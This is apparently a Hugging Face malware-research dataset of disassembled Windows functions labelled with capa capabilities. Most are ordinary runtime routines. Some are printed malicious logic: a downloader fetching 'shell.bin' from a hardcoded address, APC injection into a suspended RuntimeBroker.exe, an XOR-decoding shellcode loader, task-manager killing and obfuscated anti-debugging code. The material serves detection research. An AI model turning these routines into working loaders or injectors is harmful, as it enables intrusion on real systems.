joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400016fc
Capabilities:
Get common file path
Terminate process

Disassembly:
push rbp
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
call fcn.140001a10
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140001728
mov ecx, 1
call fcn.1400025c0
mov byte [rbp + 0x23f], 0
lea rax, [rbp + 0xd0]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp + 0xd0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
lea rax, [rbp + 0xd0]
add rax, rdx
movabs rdx, 0x336d65747379535c
mov qword [rax], rdx
mov word [rax + 8], 0x32
lea rax, [rbp + 0x200]
mov edx, 0x10
mov rcx, rax
call fcn.140001627
lea rax, [rbp + 0x1e0]
mov edx, 0x10
mov rcx, rax
call fcn.140001627
movzx eax, byte [0x140003018]
movzx eax, al
mov r8d, eax
mov edx, 0x18
lea rax, str.sewcrt
mov rcx, rax
call fcn.140001467
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x200]
mov rcx, qword [rbp + 0x230]
mov r8, rdx
mov rdx, rax
call fcn.1400014e2
mov byte [rbp + 0x23f], 1
lea rax, str.Taskmgr.exe
mov rcx, rax
call fcn.140001584
test al, al
je 0x1400018d7
cmp byte [rbp + 0x23f], 0
je 0x140001942
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x228], rax
mov dword [rbp - 0x60], 0x130
jmp 0x1400018a0
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.VisualWebFeatures.exe
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400018a0
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x1400018a0
mov rax, qword [rbp + 0x220]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x228]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001830
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov byte [rbp + 0x23f], 0
jmp 0x140001942
movzx eax, byte [rbp + 0x23f]
xor eax, 1
test al, al
je 0x140001942
lea rax, [rbp + 0x200]
mov edx, 0x10
mov rcx, rax
call fcn.140001627
lea rax, [rbp + 0x1e0]
mov edx, 0x10
mov rcx, rax
call fcn.140001627
mov ecx, 0x1d4c0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x200]
mov rcx, qword [rbp + 0x230]
mov r8, rdx
mov rdx, rax
call fcn.1400014e2
mov byte [rbp + 0x23f], 1
mov ecx, 0x168
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400017ed
Function at 0x140001c20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002a20
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140001c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001dc0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001cc0
mov rcx, rbx
call fcn.140002700
test rax, rax
mov rdi, rax
je 0x140001de2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002840
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001dc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d70
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001c20
nop dword [rax]
xor esi, esi
jmp 0x140001ce8
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001c20
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001c20
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002350
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400023ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400023a3
test rsi, rsi
je 0x1400023a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002388
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002600
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002600
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002600
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002720
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002728
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002720
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000277d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002774
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002720
add rax, 0x28
cmp rax, r9
jne 0x140002760
xor eax, eax
ret

Function at 0x140002780
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000279f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400027a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000279f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002840
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000285f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002868
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001070
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
mov r13, r8
mov r12, rdx
mov dword [rsp + 0x30], esi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
xor r9d, r9d
xor ecx, ecx
mov edi, esi
mov ebx, esi
mov ebp, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
jne 0x1400010c6
mov eax, esi
jmp 0x1400011ee
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.1.39_shell.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x80], r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edx, 0x400
mov ecx, 0x40
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1400011ab
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400011ab
nop
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x140001147
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001159
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x1400011ab
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x30], 0x400
jb 0x14000120a
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001130
xor ebp, ebp
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x1400011c4
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov r14, qword [rsp + 0x80]
test rsi, rsi
je 0x1400011ec
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, ebp
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001460
add rsp, 0x40
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x1400011ad
Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Query environment variable
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor ebx, ebx
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
call fcn.140001070
test eax, eax
je 0x140001418
xorps xmm0, xmm0
lea rdi, [rbp - 0x70]
xor eax, eax
lea rdx, [rbp]
movups xmmword [rbp - 0x6c], xmm0
mov dword [rbp - 0xc], eax
mov ecx, 0x68
movups xmmword [rbp - 0x5c], xmm0
mov qword [rsp + 0x70], rax
mov r8d, 0x104
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
rep stosb byte [rdi], al
movups xmmword [rsp + 0x60], xmm0
lea rdi, [rsp + 0x60]
mov dword [rbp - 0x70], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140001418
lea r9, str.RuntimeBroker.exe
lea r8, [rbp]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x110]
call fcn.140001010
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x110]
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001418
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
cmp dword [rsp + 0x70], ebx
je 0x140001418
test rdi, rdi
je 0x140001418
mov qword [rbp - 0x80], rbx
mov r9d, 0x3000
mov dword [rsp + 0x78], ebx
xor edx, edx
mov rbx, qword [rsp + 0x58]
mov rcx, rdi
mov r8, rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140001418
mov r8, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov r9, rbx
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001418
cmp qword [rbp - 0x80], rbx
jne 0x140001418
lea rax, [rsp + 0x78]
mov r9d, 0x40
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001418
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x14000141d
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140001460
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14012ab53
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor byte [rax], al
add byte [rax], al
mov r9d, 0x64
je 0x14012ab8f
jne 0x14012ab8f
lea edi, [rdx - 0x6cdf]
jb 0x14012b5c1
pushfq
ror r11d, 0x3c
jmp rax
jmp 0x14012accd
mov qword [rbp + 0xe0], r14
xchg r15, r14
lea rcx, [rsp + 0x40]
mov qword [rbp + 0xe8], r15
xchg rsi, rbp
je 0x14012ac9c
jne 0x14012ac9c
jmp rax
jmp 0x14012a9ca
xchg r15, r13
mov qword [rbp + 0xf0], r13
xchg r13, r15
mov r8d, r9d
xchg r15, r14
jmp 0x14012ac34
loopne 0x14012b60c
test esi, edi
int3
clc
call fcn.14012b3c9
and r14d, 0x27903006
rcl r10d, 0x96
or r15d, 0xd18b403e
dec rsi
call rax
jno 0x14012bd7b
call rcx
movabs rdx, 0x5ec21afffffdb3e9
cmp r15d, 0x7f8cc965
je 0x14012bca3
pop rbx
invalid
rcl r15d, 0x51
ret 0x30
lea r13d, [rcx - 0x1f57]
jmp rcx
add ah, byte [rdi - 0x32f0b66b]
rcr r14d, 0x94
rol ebx, 0x49
jmp 0x14012bb8b
call fcn.14012ae42
jg 0x14012b644
lea esi, [rcx + 0xb8e6]
movabs r11, 0x5747acfffffbe2e9
bswap rsi
rol ecx, 0xcc
popfq
div r13
call rax
jmp rcx
Function at 0x14012b2c9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, edi
cpuid
jae 0x14012b581
test rdi, rbx
ret
call fcn.14012b6e8
cmp rsi, rdx
test rbp, rdx
inc r9
rol r11d, 0x31
jmp 0x14012b04c
cmp r13, rdx
jne 0x14012a462
cmp r12, rbp
jmp 0x14012b1c3
retf 0x7e8

Function at 0x14012b3c9
Capabilities:
Contain obfuscated stackstrings
Execute anti-debugging instructions
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
rcl r9d, 0x63
rol r14d, 0x13
pop rdi
rcr ebp, 0x82
bswap r14
pop rbx
jmp 0x14012b672
movsd dword [rdi], dword [rsi]
ror ebp, 0x14
rcr ebp, 0xcd
invalid
invalid
xchg esp, eax
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x004044d0]
mov dword [rax], 1
mov rax, qword [0x004044a0]
mov dword [rax], 1
mov rax, qword [0x00404390]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00404490]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00404450]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404340]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
mov byte [rbp - 5], 0x4e
mov dword [rbp - 4], 0
jmp 0x4015a4
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x00403020]
movzx eax, byte [rax + rdx]
xor al, byte [rbp - 5]
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x00403020]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 0x2c6
jbe 0x40157c
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2c8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rax, [0x00403020]
mov ecx, 0x2c8
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 0x10]
call rax
mov eax, 0
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret

Function at 0x401af0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x402530
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402584
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40257b
test r12, r12
je 0x40257b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402560
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x4027b0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x4027c0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x4027d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402815
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x40280c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402817
add rax, 0x28
cmp rax, r9
jne 0x4027f8
xor eax, eax
ret

Function at 0x4028c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00404390]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402939
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402939
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402936
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40292d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402939
add r8, 0x28
cmp r8, r9
jne 0x402918
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x402a20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00404390]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x402a8f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a8f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x402a8d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402a84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a98
add rax, 0x28
cmp rax, r9
jne 0x402a70
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402ab0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404390]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402b28
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b28
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402b28
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402b28
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402b1c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x402b30
add rdx, 0x28
cmp rdx, r10
jne 0x402b08
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x402b40
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x402b4e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402b25
test r8d, r8d
jg 0x402b38
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret